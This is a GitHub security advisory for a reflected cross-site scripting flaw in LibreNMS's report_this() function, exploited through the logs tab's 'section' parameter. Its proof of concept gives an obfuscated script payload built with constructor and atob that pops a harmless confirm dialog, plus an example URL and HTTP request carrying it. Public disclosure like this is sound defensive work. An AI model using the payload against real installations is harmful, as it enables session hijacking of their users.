GHSA-v7w9-63xh-6r3w
GitHub Security Advisory
LibreNMS has a Reflected XSS ('Cross-site Scripting') in librenms/includes/functions.php
Advisory Details
### Summary
A Reflected Cross-Site Scripting (XSS) vulnerability in the "section" parameter of the "logs" tab of a device allows attackers to inject arbitrary JavaScript. This vulnerability results in the execution of malicious code when a user accesses the page with a malicious "section" parameter, potentially compromising their session and enabling unauthorized actions. The issue arises from a lack of sanitization in the "report_this()" function.
### Details
The "section" parameter of the "logs" tab is vulnerable to reflected XSS. An attacker can inject the following XSS payload into the "section" parameter:
```<script>constructor['constructor'](atob('Y29uZmlybShkb2N1bWVudC5kb21haW4p'))();<%2fscript>```
When the page is loaded with this malicious parameter, the script executes immediately. This vulnerability occurs due to the lack of sanitization in the "report_this()" function. Other endpoints using this same function may also be vulnerable.
The vulnerable sink is located here:
https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/functions.php#L523
https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/pages/device/logs.inc.php#L93
### PoC
1. Inject the following payload into the "section" parameter of the "logs" tab:
```<script>constructor['constructor'](atob('Y29uZmlybShkb2N1bWVudC5kb21haW4p'))();<%2fscript>```
2. Access the page with the injected payload.
3. Observe that the injected script executes when the page is loaded.
Example URL: ```http://<your_url>/device/device=1/tab=logs/section=%3Cscript%3Econstructor['constructor'](atob('Y29uZmlybShkb2N1bWVudC5kb21haW4p'))();%3C%2fscript%3E/```
Example Request:
```http
GET /device/device=1/tab=logs/section=%3Cscript%3Econstructor['constructor'](atob('Y29uZmlybShkb2N1bWVudC5kb21haW4p'))();%3C%2fscript%3E/ HTTP/1.1
Host: <your_host>
Cookie: <your_cookie>
```
### Impact
This vulnerability allows attackers to execute arbitrary JavaScript in the context of a user’s session by crafting a malicious URL. The attack could lead to session hijacking, unauthorized actions, or further exploitation by injecting malicious scripts.
Affected Packages
Related CVEs
Key Information
Dataset
Data from GitHub Advisory Database. This information is provided for research and educational purposes.